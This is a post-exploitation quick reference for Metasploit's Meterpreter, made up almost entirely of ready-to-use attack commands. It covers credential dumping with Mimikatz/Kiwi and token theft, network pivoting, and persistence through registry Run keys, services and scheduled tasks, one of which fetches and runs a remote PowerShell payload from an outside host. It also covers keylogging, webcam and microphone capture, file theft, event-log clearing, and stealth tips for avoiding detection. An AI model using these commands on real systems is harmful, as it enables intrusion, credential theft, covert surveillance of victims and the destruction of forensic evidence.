Post-Exploitation & Persistence Quick Reference

Meterpreter Session Management

Basic Session Control

```bash
# Background current session
meterpreter > background

# List all active sessions
msf6 > sessions

# Interact with specific session
msf6 > sessions -i 1

# Kill a session
msf6 > sessions -k 1

# Kill all sessions
msf6 > sessions -K
```

Session Information

```bash
# Get system info
meterpreter > sysinfo

# Check current user
meterpreter > getuid

# List running processes
meterpreter > ps

# Check privileges
meterpreter > getprivs
```

Credential Dumping (Kiwi/Mimikatz)

Load and Use Kiwi

```bash
# Load Mimikatz extension
meterpreter > load kiwi

# Dump all credentials (requires SYSTEM)
meterpreter > creds_all

# Dump password hashes from SAM
meterpreter > hashdump

# Extract Kerberos tickets
meterpreter > kerberos

# Dump WDIGEST passwords
meterpreter > wdigest

# Dump cached domain credentials
meterpreter > dcsync_ntlm
```

Privilege Escalation Requirements

```bash
# Attempt to get SYSTEM privileges
meterpreter > getsystem

# Verify current privileges
meterpreter > getuid

# If not SYSTEM, try token impersonation first
```

Token Impersonation & Privilege Escalation

Token Management

```bash
```

```
# List available tokens
meterpreter > use incognito
meterpreter > list_tokens -u

# Impersonate specific token by PID
meterpreter > steal_token [PID]

# Impersonate by username
meterpreter > impersonate_token "DOMAIN\\username"

# Revert to original token
meterpreter > rev2self
```

Finding Target Processes

bash

```
# List processes with user context
meterpreter > ps

# Look for high-privilege processes:
# - System (PID varies)
# - services.exe
# - winlogon.exe
# - lsass.exe (be careful!)
```

Network Pivoting & Lateral Movement

Autoroute Setup

bash

```
# Set up routing through compromised host
msf6 > use post/multi/manage/autoroute
msf6 post(autoroute) > set SESSION 1
msf6 post(autoroute) > run

# Verify routes
msf6 > route print

# Add manual route
msf6 > route add 192.168.10.0/24 1
```

Internal Network Scanning

bash

```
# Port scan through pivot
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.10.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80,139,445,3389
msf6 auxiliary(scanner/portscan/tcp) > run

# SMB enumeration through pivot
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.10.0/24
msf6 auxiliary(scanner/smb/smb_version) > run
```

Persistence Methods

Registry Run Keys

bash

```
# Drop to shell
meterpreter > shell

# Add persistence via registry (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "Updater" /t REG_SZ \
/d "powershell -windowstyle hidden -nop -c \"IEX \
(New-Object Net.WebClient).DownloadString(\
'http://192.168.1.100/payload.ps1')\"" /f

# System-wide persistence (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "Updater" /t REG_SZ \
/d "C:\Windows\System32\backdoor.exe" /f
```

Service-Based Persistence

bash

```
# Persistent service creation
meterpreter > run persistence -S -U -X -i 10 -p 4445 \
-r 192.168.1.100

# Manual service creation
sc create "WindowsUpdater" \
binpath= "C:\Windows\System32\backdoor.exe" \
start= auto

sc start WindowsUpdater
```

Scheduled Tasks

bash

```
# Create scheduled task (PowerShell)
schtasks /create /tn "SystemUpdater" \
/tr "powershell -WindowStyle Hidden \
-File C:\Windows\System32\update.ps1" \
/sc onlogon /ru "SYSTEM"

# Alternative with specific timing
schtasks /create /tn "Maintenance" \
/tr "C:\backdoor.exe" /sc daily /st 08:00
```

Surveillance & Data Exfiltration

Screenshot & Keylogging

bash

```
# Take screenshot
meterpreter > screenshot

# Start keylogger
meterpreter > keyscan_start

# Dump captured keystrokes
meterpreter > keyscan_dump

# Stop keylogger
meterpreter > keyscan_stop
```

File Operations

bash

```
# Download files
meterpreter > download \
"C:\Users\victim\Documents\passwords.txt"

# Upload tools/payloads
meterpreter > upload /root/tools/mimikatz.exe \
"C:\Windows\Temp\update.exe"

# Search for interesting files
meterpreter > search -f *.txt -d "C:\Users"
meterpreter > search -f "*password*" -d "C:\"
```

Webcam & Microphone

```bash
# List available webcams
meterpreter > webcam_list

# Take webcam photo
meterpreter > webcam_snap

# Start webcam stream
meterpreter > webcam_stream

# Record audio
meterpreter > record_mic
```

Anti-Forensics & Cleanup

Log Clearing

```bash
```

```
# Clear Windows Event Logs (Meterpreter)
meterpreter > clearev

# Manual log clearing (requires admin)
meterpreter > shell
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Windows PowerShell"
```

File & Registry Cleanup

bash

```
# Remove uploaded files
meterpreter > shell
del "C:\Windows\Temp\*.exe"
del "C:\Users\%USERNAME%\Downloads\suspicious_file.exe"

# Remove registry persistence
reg delete \
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "Updater" /f

reg delete \
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "Updater" /f
```

Process & Service Cleanup

bash

```
# Stop and delete services
sc stop WindowsUpdater
sc delete WindowsUpdater

# Remove scheduled tasks
schtasks /delete /tn "SystemUpdater" /f
schtasks /delete /tn "Maintenance" /f
```

Useful Post Modules

System Information Gathering

```bash
# Enumerate system details
msf6 > use post/windows/gather/enum_system
msf6 post(enum_system) > set SESSION 1
msf6 post(enum_system) > run

# Check for antivirus
msf6 > use post/windows/gather/enum_av_excluded
msf6 post(enum_av_excluded) > set SESSION 1
msf6 post(enum_av_excluded) > run
```

Network Enumeration

```bash
# Enumerate network shares
msf6 > use post/windows/gather/enum_shares
msf6 post(enum_shares) > set SESSION 1
msf6 post(enum_shares) > run

# Get network configuration
meterpreter > ipconfig
meterpreter > route print
meterpreter > arp
```

Common Troubleshooting

Session Issues

- **No session found**: Check if exploit succeeded with `sessions`
- **Session died**: Network connectivity or AV killed payload
- **Commands fail**: Check privilege level with `getuid`

Privilege Issues

- **Access denied**: Need SYSTEM privileges, try `getsystem`

- **Kiwi won't load**: Only works on Windows Meterpreter sessions
- **Creds_all empty**: Requires SYSTEM privileges and credentials in memory

Network/Persistence Issues

- **Autoroute fails**: Check network connectivity and routing table
- **Persistence not working**: Verify registry keys and file paths
- **Payload blocked**: AV detection, try different persistence methods

Best Practices

Stealth Operations

- Use `migrate` to move to stable processes
- Avoid high-CPU operations during business hours
- Clean logs regularly during engagement
- Use built-in Windows tools when possible (living off the land)

Session Stability

- Always background sessions when running other modules
- Migrate to stable processes (explorer.exe, notepad.exe)
- Create multiple persistence mechanisms
- Test persistence after system reboot